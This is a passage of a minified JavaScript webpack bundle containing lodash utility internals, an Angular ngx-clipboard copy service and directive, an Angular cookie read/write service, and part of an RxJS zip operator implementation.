Xe(ge){return!!ie&&ie in ge}(ge))&&(m(ge)?be:c1).test(qt(ge))},Ae=function J(ge,et){var St=function Ue(ge,et){return ge?.[et]}(ge,et);return Re(St)?St:void 0},Ct=Ae(Object,"create");var Se=Object.prototype.hasOwnProperty;var Rt=Object.prototype.hasOwnProperty;function nn(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}nn.prototype.clear=function jt(){this.__data__=Ct?Ct(null):{},this.size=0},nn.prototype.delete=function nt(ge){var et=this.has(ge)&&delete this.__data__[ge];return this.size-=et?1:0,et},nn.prototype.get=function ot(ge){var et=this.__data__;if(Ct){var St=et[ge];return"__lodash_hash_undefined__"===St?void 0:St}return Se.call(et,ge)?et[ge]:void 0},nn.prototype.has=function Zt(ge){var et=this.__data__;return Ct?void 0!==et[ge]:Rt.call(et,ge)},nn.prototype.set=function G1(ge,et){var St=this.__data__;return this.size+=this.has(ge)?0:1,St[ge]=Ct&&void 0===et?"__lodash_hash_undefined__":et,this};const P1=nn,Me=function vt(ge,et){return ge===et||ge!=ge&&et!=et},de=function O(ge,et){for(var St=ge.length;St--;)if(Me(ge[St][0],et))return St;return-1};var $=Array.prototype.splice;function Y1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}Y1.prototype.clear=function on(){this.__data__=[],this.size=0},Y1.prototype.delete=function ke(ge){var et=this.__data__,St=de(et,ge);return!(St<0||(St==et.length-1?et.pop():$.call(et,St,1),--this.size,0))},Y1.prototype.get=function Wt(ge){var et=this.__data__,St=de(et,ge);return St<0?void 0:et[St][1]},Y1.prototype.has=function w1(ge){return de(this.__data__,ge)>-1},Y1.prototype.set=function h1(ge,et){var St=this.__data__,Bt=de(St,ge);return Bt<0?(++this.size,St.push([ge,et])):St[Bt][1]=et,this};const T1=Y1,vn=Ae(E,"Map"),fn=function ci(ge,et){var St=ge.__data__;return function Gn(ge){var et=typeof ge;return"string"==et||"number"==et||"symbol"==et||"boolean"==et?"__proto__"!==ge:null===ge}(et)?St["string"==typeof et?"string":"hash"]:St.map};function L1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}L1.prototype.clear=function E1(){this.size=0,this.__data__={hash:new P1,map:new(vn||T1),string:new P1}},L1.prototype.delete=function Rn(ge){var et=fn(this,ge).delete(ge);return this.size-=et?1:0,et},L1.prototype.get=function X1(ge){return fn(this,ge).get(ge)},L1.prototype.has=function Fn(ge){return fn(this,ge).has(ge)},L1.prototype.set=function $n(ge,et){var St=fn(this,ge),Bt=St.size;return St.set(ge,et),this.size+=St.size==Bt?0:1,this};const Cn=L1;var Mn="Expected a function";function di(ge,et){if("function"!=typeof ge||null!=et&&"function"!=typeof et)throw new TypeError(Mn);var St=function(){var Bt=arguments,n1=et?et.apply(this,Bt):Bt[0],e1=St.cache;if(e1.has(n1))return e1.get(n1);var x1=ge.apply(this,Bt);return St.cache=e1.set(n1,x1)||e1,x1};return St.cache=new(di.Cache||Cn),St}di.Cache=Cn;const ri=di;var u2=/[^.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|(["\'])((?:(?!\\2)[^\\\\]|\\\\.)*?)\\2)\\]|(?=(?:\\.|\\[\\])(?:\\.|\\[\\]|$))/g,dn=/\\\\(\\\\)?/g,Sn=function Nn(ge){var et=ri(ge,function(Bt){return 500===St.size&&St.clear(),Bt}),St=et.cache;return et}(function(ge){var et=[];return 46===ge.charCodeAt(0)&&et.push(""),ge.replace(u2,function(St,Bt,n1,e1){et.push(n1?e1.replace(dn,"$1"):Bt||St)}),et});const Ei=Sn;var ui=S?S.prototype:void 0,pn=ui?ui.toString:void 0;const Qi=function Fi(ge){if("string"==typeof ge)return ge;if(bt(ge))return Be(ge,Fi)+"";if(w(ge))return pn?pn.call(ge):"";var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},hi=function zi(ge){return null==ge?"":Qi(ge)},Ti=function Kn(ge,et){return bt(ge)?ge:ct(ge,et)?[ge]:Ei(hi(ge))};const Ni=function h2(ge){if("string"==typeof ge||w(ge))return ge;var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},Zn=function ei(ge,et){for(var St=0,Bt=(et=Ti(et,ge)).length;null!=ge&&St<Bt;)ge=ge[Ni(et[St++])];return St&&St==Bt?ge:void 0};function jn(ge){var et=this.__data__=new T1(ge);this.size=et.size}jn.prototype.clear=function Hi(){this.__data__=new T1,this.size=0},jn.prototype.delete=function Vi(ge){var et=this.__data__,St=et.delete(ge);return this.size=et.size,St},jn.prototype.get=function x2(ge){return this.__data__.get(ge)},jn.prototype.has=function Bi(ge){return this.__data__.has(ge)},jn.prototype.set=function mn(ge,et){var St=this.__data__;if(St instanceof T1){var Bt=St.__data__;if(!vn||Bt.length<199)return Bt.push([ge,et]),this.size=++St.size,this;St=this.__data__=new Cn(Bt)}return St.set(ge,et),this.size=St.size,this};const fi=jn;function ti(ge){var et=-1,St=null==ge?0:ge.length;for(this.__data__=new Cn;++et<St;)this.add(ge[et])}ti.prototype.add=ti.prototype.push=function o2(ge){return this.__data__.set(ge,"__lodash_hash_undefined__"),this},ti.prototype.has=function ki(ge){return this.__data__.has(ge)};const Oi=ti,bn=function Xi(ge,et){for(var St=-1,Bt=null==ge?0:ge.length;++St<Bt;)if(et(ge[St],St,ge))return!0;return!1},un=function Gi(ge,et){return ge.has(et)};const _n=function m2(ge,et,St,Bt,n1,e1){var x1=1&St,k1=ge.length,J1=et.length;if(k1!=J1&&!(x1&&J1>k1))return!1;var Z1=e1.get(ge),a2=e1.get(et);if(Z1&&a2)return Z1==et&&a2==ge;var $i=-1,ii=!0,b2=2&St?new Oi:void 0;for(e1.set(ge,et),e1.set(et,ge);++$i<k1;){var s2=ge[$i],E2=et[$i];if(Bt)var C2=x1?Bt(E2,s2,$i,et,ge,e1):Bt(s2,E2,$i,ge,et,e1);if(void 0!==C2){if(C2)continue;ii=!1;break}if(b2){if(!bn(et,function(tr,nr){if(!un(b2,nr)&&(s2===tr||n1(s2,tr,St,Bt,e1)))return b2.push(nr)})){ii=!1;break}}else if(s2!==E2&&!n1(s2,E2,St,Bt,e1)){ii=!1;break}}return e1.delete(ge),e1.delete(et),ii},pi=E.Uint8Array,Vn=function si(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt,n1){St[++et]=[n1,Bt]}),St},xn=function v2(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt){St[++et]=Bt}),St};var Tt=S?S.prototype:void 0,t1=Tt?Tt.valueOf:void 0;var Wn=Object.prototype.propertyIsEnumerable,Te=Object.getOwnPropertySymbols,y=Te?function(ge){return null==ge?[]:(ge=Object(ge),function Dn(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=0,e1=[];++St<Bt;){var x1=ge[St];et(x1,St,ge)&&(e1[n1++]=x1)}return e1}(Te(ge),function(et){return Wn.call(ge,et)}))}:function Yn(){return[]};const D=y;var Mt="object"==typeof exports&&exports&&!exports.nodeType&&exports,Ft=Mt&&"object"==typeof module&&module&&!module.nodeType&&module,o1=Ft&&Ft.exports===Mt?E.Buffer:void 0;const A1=(o1?o1.isBuffer:void 0)||function rt(){return!1};var S1=/^(?:0|[1-9]\\d*)$/;const tn=function Q1(ge,et){var St=typeof ge;return!!(et=et??9007199254740991)&&("number"==St||"symbol"!=St&&S1.test(ge))&&ge>-1&&ge%1==0&&ge<et};const wn=function En(ge){return"number"==typeof ge&&ge>-1&&ge%1==0&&ge<=9007199254740991};var g1={};g1["[object Float32Array]"]=g1["[object Float64Array]"]=g1["[object Int8Array]"]=g1["[object Int16Array]"]=g1["[object Int32Array]"]=g1["[object Uint8Array]"]=g1["[object Uint8ClampedArray]"]=g1["[object Uint16Array]"]=g1["[object Uint32Array]"]=!0,g1["[object Arguments]"]=g1["[object Array]"]=g1["[object ArrayBuffer]"]=g1["[object Boolean]"]=g1["[object DataView]"]=g1["[object Date]"]=g1["[object Error]"]=g1["[object Function]"]=g1["[object Map]"]=g1["[object Number]"]=g1["[object Object]"]=g1["[object RegExp]"]=g1["[object Set]"]=g1["[object String]"]=g1["[object WeakMap]"]=!1;const rn=function Ln(ge){return function(et){return ge(et)}};var kn="object"==typeof exports&&exports&&!exports.nodeType&&exports,Di=kn&&"object"==typeof module&&module&&!module.nodeType&&module,t2=Di&&Di.exports===kn&&u.process,mi=function(){try{return Di&&Di.require&&Di.require("util").types||t2&&t2.binding&&t2.binding("util")}catch{}}(),Ai=mi&&mi.isTypedArray;const or=Ai?rn(Ai):function B1(ge){return ce(ge)&&wn(ge.length)&&!!g1[q(ge)]};var br=Object.prototype.hasOwnProperty;const Cr=function K2(ge,et){var St=bt(ge),Bt=!St&&Ke(ge),n1=!St&&!Bt&&A1(ge),e1=!St&&!Bt&&!n1&&or(ge),x1=St||Bt||n1||e1,k1=x1?function Z(ge,et){for(var St=-1,Bt=Array(ge);++St<ge;)Bt[St]=et(St);return Bt}(ge.length,String):[],J1=k1.length;for(var Z1 in ge)(et||br.call(ge,Z1))&&(!x1||!("length"==Z1||n1&&("offset"==Z1||"parent"==Z1)||e1&&("buffer"==Z1||"byteLength"==Z1||"byteOffset"==Z1)||tn(Z1,J1)))&&k1.push(Z1);return k1};var Rr=Object.prototype;var Fr=function cr(ge,et){return function(St){return ge(et(St))}}(Object.keys,Object);const V2=Fr;var Jr=Object.prototype.hasOwnProperty;const Nr=function lr(ge){if(!function _2(ge){var et=ge&&ge.constructor;return ge===("function"==typeof et&&et.prototype||Rr)}(ge))return V2(ge);var et=[];for(var St in Object(ge))Jr.call(ge,St)&&"constructor"!=St&&et.push(St);return et},Z2=function Hr(ge){return null!=ge&&wn(ge.length)&&!m(ge)},Jn=function Xr(ge){return Z2(ge)?Cr(ge):Nr(ge)},Q2=function k2(ge){return function W1(ge,et,St){var Bt=et(ge);return bt(ge)?Bt:a(Bt,St(ge))}(ge,Jn,D)};var O2=Object.prototype.hasOwnProperty;const q2=Ae(E,"DataView"),oi=Ae(E,"Promise"),Ri=Ae(E,"Set"),U2=Ae(E,"WeakMap");var d2="[object Map]",dr="[object Promise]",na="[object Set]",yn="[object WeakMap]",Ur="[object DataView]",Gr=qt(q2),wr=qt(vn),Aa=qt(oi),ia=qt(Ri),ra=qt(U2),I2=q;(q2&&I2(new q2(new ArrayBuffer(1)))!=Ur||vn&&I2(new vn)!=d2||oi&&I2(oi.resolve())!=dr||Ri&&I2(new Ri)!=na||U2&&I2(new U2)!=yn)&&(I2=function(ge){var et=q(ge),St="[object Object]"==et?ge.constructor:void 0,Bt=St?qt(St):"";if(Bt)switch(Bt){case Gr:return Ur;case wr:return d2;case Aa:return dr;case ia:return na;case ra:return yn}return et});const G2=I2;var Sa="[object Arguments]",Xn="[object Array]",y2="[object Object]",Ar=Object.prototype.hasOwnProperty;const R2=function n2(ge,et,St,Bt,n1,e1){var x1=bt(ge),k1=bt(et),J1=x1?Xn:G2(ge),Z1=k1?Xn:G2(et),a2=(J1=J1==Sa?y2:J1)==y2,$i=(Z1=Z1==Sa?y2:Z1)==y2,ii=J1==Z1;if(ii&&A1(ge)){if(!A1(et))return!1;x1=!0,a2=!1}if(ii&&!a2)return e1||(e1=new fi),x1||or(ge)?_n(ge,et,St,Bt,n1,e1):function O1(ge,et,St,Bt,n1,e1,x1){switch(St){case"[object DataView]":if(ge.byteLength!=et.byteLength||ge.byteOffset!=et.byteOffset)return!1;ge=ge.buffer,et=et.buffer;case"[object ArrayBuffer]":return!(ge.byteLength!=et.byteLength||!e1(new pi(ge),new pi(et)));case"[object Boolean]":case"[object Date]":case"[object Number]":return Me(+ge,+et);case"[object Error]":return ge.name==et.name&&ge.message==et.message;case"[object RegExp]":case"[object String]":return ge==et+"";case"[object Map]":var k1=Vn;case"[object Set]":if(k1||(k1=xn),ge.size!=et.size&&!(1&Bt))return!1;var Z1=x1.get(ge);if(Z1)return Z1==et;Bt|=2,x1.set(ge,et);var a2=_n(k1(ge),k1(et),Bt,n1,e1,x1);return x1.delete(ge),a2;case"[object Symbol]":if(t1)return t1.call(ge)==t1.call(et)}return!1}(ge,et,J1,St,Bt,n1,e1);if(!(1&St)){var b2=a2&&Ar.call(ge,"__wrapped__"),s2=$i&&Ar.call(et,"__wrapped__");if(b2||s2){var E2=b2?ge.value():ge,C2=s2?et.value():et;return e1||(e1=new fi),n1(E2,C2,St,Bt,e1)}}return!!ii&&(e1||(e1=new fi),function ea(ge,et,St,Bt,n1,e1){var x1=1&St,k1=Q2(ge),J1=k1.length;if(J1!=Q2(et).length&&!x1)return!1;for(var $i=J1;$i--;){var ii=k1[$i];if(!(x1?ii in et:O2.call(et,ii)))return!1}var b2=e1.get(ge),s2=e1.get(et);if(b2&&s2)return b2==et&&s2==ge;var E2=!0;e1.set(ge,et),e1.set(et,ge);for(var C2=x1;++$i<J1;){var tr=ge[ii=k1[$i]],nr=et[ii];if(Bt)var $r=x1?Bt(nr,tr,ii,et,ge,e1):Bt(tr,nr,ii,ge,et,e1);if(!(void 0===$r?tr===nr||n1(tr,nr,St,Bt,e1):$r)){E2=!1;break}C2||(C2="constructor"==ii)}if(E2&&!C2){var ir=ge.constructor,zr=et.constructor;ir!=zr&&"constructor"in ge&&"constructor"in et&&!("function"==typeof ir&&ir instanceof ir&&"function"==typeof zr&&zr instanceof zr)&&(E2=!1)}return e1.delete(ge),e1.delete(et),E2}(ge,et,St,Bt,n1,e1))},X2=function Sr(ge,et,St,Bt,n1){return ge===et||(null==ge||null==et||!ce(ge)&&!ce(et)?ge!=ge&&et!=et:R2(ge,et,St,Bt,Sr,n1))};const Pi=function oa(ge){return ge==ge&&!Et(ge)},p=function A(ge,et){return function(St){return null!=St&&St[ge]===et&&(void 0!==et||ge in Object(St))}},ne=function V(ge){var et=function jr(ge){for(var et=Jn(ge),St=et.length;St--;){var Bt=et[St],n1=ge[Bt];et[St]=[Bt,n1,Pi(n1)]}return et}(ge);return 1==et.length&&et[0][2]?p(et[0][0],et[0][1]):function(St){return St===ge||function Ea(ge,et,St,Bt){var n1=St.length,e1=n1,x1=!Bt;if(null==ge)return!e1;for(ge=Object(ge);n1--;){var k1=St[n1];if(x1&&k1[2]?k1[1]!==ge[k1[0]]:!(k1[0]in ge))return!1}for(;++n1<e1;){var J1=(k1=St[n1])[0],Z1=ge[J1],a2=k1[1];if(x1&&k1[2]){if(void 0===Z1&&!(J1 in ge))return!1}else{var $i=new fi;if(Bt)var ii=Bt(Z1,a2,J1,ge,et,$i);if(!(void 0===ii?X2(a2,Z1,3,Bt,$i):ii))return!1}}return!0}(St,ge,et)}},$t=function Lt(ge,et){return null!=ge&&et in Object(ge)},On=function q1(ge,et){return null!=ge&&function d1(ge,et,St){for(var Bt=-1,n1=(et=Ti(et,ge)).length,e1=!1;++Bt<n1;){var x1=Ni(et[Bt]);if(!(e1=null!=ge&&St(ge,x1)))break;ge=ge[x1]}return e1||++Bt!=n1?e1:!!(n1=null==ge?0:ge.length)&&wn(n1)&&tn(x1,n1)&&(bt(ge)||Ke(ge))}(ge,et,$t)};const r2=function P2(ge,et){return ct(ge)&&Pi(et)?p(Ni(ge),et):function(St){var Bt=function He(ge,et,St){var Bt=null==ge?void 0:Zn(ge,et);return void 0===Bt?St:Bt}(St,ge);return void 0===Bt&&Bt===et?On(St,ge):X2(et,Bt,3)}},S2=function hr(ge){return ge},ss=function Er(ge){return ct(ge)?function Yr(ge){return function(et){return et?.[ge]}}(Ni(ge)):function as(ge){return function(et){return Zn(et,ge)}}(ge)},za=function js(ge){return"function"==typeof ge?ge:null==ge?S2:"object"==typeof ge?bt(ge)?r2(ge[0],ge[1]):ne(ge):ss(ge)};var cs=function os(ge){return function(et,St,Bt){for(var n1=-1,e1=Object(et),x1=Bt(et),k1=x1.length;k1--;){var J1=x1[ge?k1:++n1];if(!1===St(e1[J1],J1,e1))break}return et}}();const Ta=cs;var ka=function La(ge,et){return function(St,Bt){if(null==St)return St;if(!Z2(St))return ge(St,Bt);for(var n1=St.length,e1=et?n1:-1,x1=Object(St);(et?e1--:++e1<n1)&&!1!==Bt(x1[e1],e1,x1););return St}}(function ls(ge,et){return ge&&Ta(ge,et,Jn)});const Ws=ka,Ks=function la(ge,et){if(ge!==et){var St=void 0!==ge,Bt=null===ge,n1=ge==ge,e1=w(ge),x1=void 0!==et,k1=null===et,J1=et==et,Z1=w(et);if(!k1&&!Z1&&!e1&&ge>et||e1&&x1&&J1&&!k1&&!Z1||Bt&&x1&&J1||!St&&J1||!n1)return 1;if(!Bt&&!e1&&!Z1&&ge<et||Z1&&St&&n1&&!Bt&&!e1||k1&&St&&n1||!x1&&n1||!J1)return-1}return 0},qs=function Qs(ge,et,St){et=et.length?Be(et,function(e1){return bt(e1)?function(x1){return Zn(x1,1===e1.length?e1[0]:e1)}:e1}):[S2];var Bt=-1;et=Be(et,rn(za));var n1=function ca(ge,et){var St=-1,Bt=Z2(ge)?Array(ge.length):[];return Ws(ge,function(n1,e1,x1){Bt[++St]=et(n1,e1,x1)}),Bt}(ge,function(e1,x1,k1){return{criteria:Be(et,function(Z1){return Z1(e1)}),index:++Bt,value:e1}});return function ds(ge,et){var St=ge.length;for(ge.sort(et);St--;)ge[St]=ge[St].value;return ge}(n1,function(e1,x1){return function Zs(ge,et,St){for(var Bt=-1,n1=ge.criteria,e1=et.criteria,x1=n1.length,k1=St.length;++Bt<x1;){var J1=Ks(n1[Bt],e1[Bt]);if(J1)return Bt>=k1?J1:J1*("desc"==St[Bt]?-1:1)}return ge.index-et.index}(e1,x1,St)})},Xs=function Js(ge,et,St){switch(St.length){case 0:return ge.call(et);case 1:return ge.call(et,St[0]);case 2:return ge.call(et,St[0],St[1]);case 3:return ge.call(et,St[0],St[1],St[2])}return ge.apply(et,St)};var hs=Math.max;const Oa=function ha(ge){return function(){return ge}};var fa=function(){try{var ge=Ae(Object,"defineProperty");return ge({},"",{}),ge}catch{}}();const pa=fa;var L2=pa?function(ge,et){return pa(ge,"toString",{configurable:!0,enumerable:!1,value:Oa(et),writable:!0})}:S2,ms=800,gs=16,Ia=Date.now,vs=function ma(ge){var et=0,St=0;return function(){var Bt=Ia(),n1=gs-(Bt-St);if(St=Bt,n1>0){if(++et>=ms)return arguments[0]}else et=0;return ge.apply(void 0,arguments)}}(L2);const _s=vs,Wi=function bs(ge,et,St){if(!Et(St))return!1;var Bt=typeof et;return!!("number"==Bt?Z2(St)&&tn(et,St.length):"string"==Bt&&et in St)&&Me(St[et],ge)};var ga=function Ra(ge,et){return _s(function fs(ge,et,St){return et=hs(void 0===et?ge.length-1:et,0),function(){for(var Bt=arguments,n1=-1,e1=hs(Bt.length-et,0),x1=Array(e1);++n1<e1;)x1[n1]=Bt[et+n1];n1=-1;for(var k1=Array(et+1);++n1<et;)k1[n1]=Bt[n1];return k1[et]=St(x1),Xs(ge,this,k1)}}(ge,et,S2),ge+"")}(function(ge,et){if(null==ge)return[];var St=et.length;return St>1&&Wi(ge,et[0],et[1])?et=[]:St>2&&Wi(et[0],et[1],et[2])&&(et=[et[0]]),qs(ge,We(et,1),[])});const Pa=ga},3447:(At,ae,d)=>{"use strict";d.d(ae,{yb:()=>f,Iq:()=>_});var n=d(6895),a=d(4650);const s=new a.OlP("WindowToken",typeof window<"u"&&window.document?{providedIn:"root",factory:()=>window}:{providedIn:"root",factory:()=>{}});var u=d(8929);let c=(()=>{class S{constructor(C,z,H){this.ngZone=C,this.document=z,this.window=H,this.copySubject=new u.xQ,this.copyResponse$=this.copySubject.asObservable(),this.config={}}configure(C){this.config=C}copy(C){if(!this.isSupported||!C)return this.pushCopyResponse({isSuccess:!1,content:C});const z=this.copyFromContent(C);return this.pushCopyResponse(z?{content:C,isSuccess:z}:{isSuccess:!1,content:C})}get isSupported(){return!!this.document.queryCommandSupported&&!!this.document.queryCommandSupported("copy")&&!!this.window}isTargetValid(C){if(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement){if(C.hasAttribute("disabled"))throw new Error(\'Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute\');return!0}throw new Error("Target should be input or textarea")}copyFromInputElement(C,z=!0){try{this.selectTarget(C);const H=this.copyText();return this.clearSelection(z?C:void 0,this.window),H&&this.isCopySuccessInIE11()}catch{return!1}}isCopySuccessInIE11(){const C=this.window.clipboardData;return!(C&&C.getData&&!C.getData("Text"))}copyFromContent(C,z=this.document.body){if(this.tempTextArea&&!z.contains(this.tempTextArea)&&this.destroy(this.tempTextArea.parentElement||void 0),!this.tempTextArea){this.tempTextArea=this.createTempTextArea(this.document,this.window);try{z.appendChild(this.tempTextArea)}catch{throw new Error("Container should be a Dom element")}}this.tempTextArea.value=C;const H=this.copyFromInputElement(this.tempTextArea,!1);return this.config.cleanUpAfterCopy&&this.destroy(this.tempTextArea.parentElement||void 0),H}destroy(C=this.document.body){this.tempTextArea&&(C.removeChild(this.tempTextArea),this.tempTextArea=void 0)}selectTarget(C){return C.select(),C.setSelectionRange(0,C.value.length),C.value.length}copyText(){return this.document.execCommand("copy")}clearSelection(C,z){C&&C.focus(),z.getSelection()?.removeAllRanges()}createTempTextArea(C,z){const H="rtl"===C.documentElement.getAttribute("dir");let j;return j=C.createElement("textarea"),j.style.fontSize="12pt",j.style.border="0",j.style.padding="0",j.style.margin="0",j.style.position="absolute",j.style[H?"right":"left"]="-9999px",j.style.top=(z.pageYOffset||C.documentElement.scrollTop)+"px",j.setAttribute("readonly",""),j}pushCopyResponse(C){this.copySubject.observers.length>0&&this.ngZone.run(()=>{this.copySubject.next(C)})}pushCopyReponse(C){this.pushCopyResponse(C)}}return S.\\u0275fac=function(C){return new(C||S)(a.LFG(a.R0b),a.LFG(n.K0),a.LFG(s,8))},S.\\u0275prov=a.Yz7({token:S,factory:S.\\u0275fac,providedIn:"root"}),S})(),f=(()=>{class S{constructor(C,z,H,j){this.ngZone=C,this.host=z,this.renderer=H,this.clipboardSrv=j,this.cbOnSuccess=new a.vpe,this.cbOnError=new a.vpe,this.onClick=U=>{this.clipboardSrv.isSupported?this.targetElm&&this.clipboardSrv.isTargetValid(this.targetElm)?this.handleResult(this.clipboardSrv.copyFromInputElement(this.targetElm),this.targetElm.value,U):this.cbContent&&this.handleResult(this.clipboardSrv.copyFromContent(this.cbContent,this.container),this.cbContent,U):this.handleResult(!1,void 0,U)}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.clickListener=this.renderer.listen(this.host.nativeElement,"click",this.onClick)})}ngOnDestroy(){this.clickListener&&this.clickListener(),this.clipboardSrv.destroy(this.container)}handleResult(C,z,H){let j={isSuccess:C,content:z,successMessage:this.cbSuccessMsg,event:H};C?this.cbOnSuccess.observed&&this.ngZone.run(()=>{this.cbOnSuccess.emit(j)}):this.cbOnError.observed&&this.ngZone.run(()=>{this.cbOnError.emit(j)}),this.clipboardSrv.pushCopyResponse(j)}}return S.\\u0275fac=function(C){return new(C||S)(a.Y36(a.R0b),a.Y36(a.SBq),a.Y36(a.Qsj),a.Y36(c))},S.\\u0275dir=a.lG2({type:S,selectors:[["","ngxClipboard",""]],inputs:{targetElm:["ngxClipboard","targetElm"],container:"container",cbContent:"cbContent",cbSuccessMsg:"cbSuccessMsg"},outputs:{cbOnSuccess:"cbOnSuccess",cbOnError:"cbOnError"}}),S})(),_=(()=>{class S{}return S.\\u0275fac=function(C){return new(C||S)},S.\\u0275mod=a.oAB({type:S}),S.\\u0275inj=a.cJS({imports:[[n.ez]]}),S})()},6201:(At,ae,d)=>{"use strict";d.d(ae,{N_:()=>j,m$:()=>Q});var n=d(4650),a=d(6895);const s=new n.OlP("COOKIE_OPTIONS"),u=new n.OlP("COOKIE_WRITER");function c(oe){return null==oe}function f(oe){return!c(oe)}function S(oe,Ce){return Ce?{path:f(Ce.path)?Ce.path:oe.path,domain:f(Ce.domain)?Ce.domain:oe.domain,expires:f(Ce.expires)?Ce.expires:oe.expires,secure:f(Ce.secure)?Ce.secure:oe.secure,sameSite:f(Ce.sameSite)?Ce.sameSite:oe.sameSite,httpOnly:f(Ce.httpOnly)?Ce.httpOnly:oe.httpOnly,storeUnencoded:f(Ce.storeUnencoded)?Ce.storeUnencoded:oe.storeUnencoded}:oe}function z(oe){try{return decodeURIComponent(oe)}catch{return oe}}let H=(()=>{class oe{constructor(k={},K){this.injector=K,this.defaultOptions={path:this.injector.get(a.mr,"/"),domain:void 0,expires:void 0,secure:!1,httpOnly:!1},this.options=S(this.defaultOptions,k)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(s),n.LFG(n.zs3))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),j=(()=>{class oe{constructor(k,K,se){this.document=k,this.optionsProvider=K,this.cookieWriterService=se,this.options=this.optionsProvider.options}hasKey(k){return f(this.get(k))}get(k){return this.getAll()?.[k]}getObject(k){const K=this.get(k);if(!c(K))return""===K?{}:JSON.parse(K)}getAll(){return function g(oe){let K,se,ee,q,we,Ce={},k="";if(oe!==k)for(k=oe,K=k.split(";"),Ce={},ee=0;ee<K.length;ee++)se=K[ee],q=se.indexOf("="),q>0&&(we=z(se.substring(0,q).trim()),c(Ce[we])&&(Ce[we]=z(se.substring(q+1).trim())));return Ce}(this.cookieWriterService.readAllAsString())}put(k,K,se){const ee=S(this.options,se);this.cookieWriterService.write(k,K,ee)}putObject(k,K,se){this.put(k,JSON.stringify(K),se)}remove(k,K){this.put(k,void 0,K)}removeAll(k){const K=this.getAll();Object.keys(K).forEach(se=>this.remove(se,k))}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0),n.LFG(H),n.LFG(u))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),U=(()=>{class oe{constructor(k){this.document=k}readAllAsString(){return this.document.cookie||""}write(k,K,se){this.document.cookie=function C(oe,Ce,k){let se,K=k?.expires;c(Ce)?(K="Thu, 01 Jan 1970 00:00:00 GMT",se=""):se=Ce,function E(oe){return"string"==typeof oe}(K)&&(K=new Date(K));const ee=k?.storeUnencoded?Ce:encodeURIComponent(se);let q=encodeURIComponent(oe)+"="+ee;q+=k?.path?";path="+k.path:"",q+=k?.domain?";domain="+k.domain:"",q+=K?";expires="+K.toUTCString():"",q+=k?.sameSite?"; SameSite="+k.sameSite:"",q+=k?.secure?";secure":"",q+=k?.httpOnly?"; HttpOnly":"";const we=q.length+1;return we>4096&&console.log("Cookie \'"+oe+"\' possibly not set or overflowed because it was too large ("+we+" > 4096 bytes)!"),q}(k,K,se)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();function G(oe,Ce,k){return new j(oe,Ce,k)}let Q=(()=>{class oe{static withOptions(k={}){return{ngModule:oe,providers:[{provide:s,useValue:k},{provide:u,useClass:U},{provide:j,useFactory:G,deps:[a.K0,H,u]}]}}static forRoot(k={}){return this.withOptions(k)}static forChild(k={}){return this.withOptions(k)}}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({providers:[H]}),oe})()},8225:(At,ae,d)=>{"use strict";d.d(ae,{rN:()=>ce,y$:()=>Oe,_l:()=>Qe});var n=d(4650),a=d(591),s=d(8896),u=d(1737),c=d(3009),f=d(6688),E=d(3489),_=d(5430),S=d(1177);class C{constructor(qe){this.resultSelector=qe}call(qe,Ke){return Ke.subscribe(new z(qe,this.resultSelector))}}class z extends E.L{constructor(qe,Ke,dt=Object.create(null)){super(qe),this.resultSelector=Ke,this.iterators=[],this.active=0,this.resultSelector="function"==typeof Ke?Ke:void 0}_next(qe){const Ke=this.iterators;(0,f.k)(qe)?Ke.push(new j(qe)):Ke.push("function"==typeof qe[_.hZ]?new H(qe[_.hZ]()):new U(this.destination,this,qe))}_complete(){const qe=this.iterators,Ke=qe.length;if(this.unsubscribe(),0!==Ke){this.active=Ke;for(let dt=0;dt<Ke;dt++){let bt=qe[dt];bt.stillUnsubscribed?this.destination.add(bt.subscribe()):this.active--}}else this.destination.complete()}notifyInactive(){this.active--,0===this.active&&this.destination.complete()}checkIterators(){const qe=this.iterators,Ke=qe.length,dt=this.destination;for(let De=0;De<Ke;De++){let re=qe[De];if("function"==typeof re.hasValue&&!re.hasValue())return}let bt=!1;const ze=[];for(let De=0;De<Ke;De++){let re=qe[De],ve=re.next();if(re.hasCompleted()&&(bt=!0),ve.done)return void dt.complete();ze.push(ve.value)}this.resultSelector?this._tryresultSelector(ze):dt.next(ze),bt&&dt.complete()}_tryresultSelector(qe){let Ke;try{Ke=this.resultSelector.apply(this,qe)}catch(dt){return void this.destination.error(dt)}this.destination.next(Ke)}}class H{constructor(qe){this.iterator=qe,this.nextResult=qe.next()}hasValue(){return!0}next(){const qe=this.nextResult;return this.nextResult=this.iterator.next(),qe}hasCompleted(){const qe=this.nextResult;return Boolean(qe&&qe.done)}}class j{constructor(qe){this.array=qe,this.index=0,this.length=0,this.length=qe.length}[_.hZ](){return this}next(qe){const Ke=this.index++;return Ke<this.length?{value:this.array[Ke],done:!1}:{value:null,done:!0}}hasValue(){return this.array.length>this.index}hasCompleted(){return this.array.length===this.index}}class U extends S.Ds{constructor(qe,Ke,dt){super(qe),this.parent=Ke,this.observable=dt,this.stillUnsubscribed=!0,this.buffer=[],this.isComplete=!1}[_.hZ](){return this}next(){const qe=this.buffer;return 0===qe.length&&this.isComplete?{value:null,done:!0}:{value:qe.shift(),done:!1}}hasValue(){return this.buffer.length>0}hasCompleted(){return 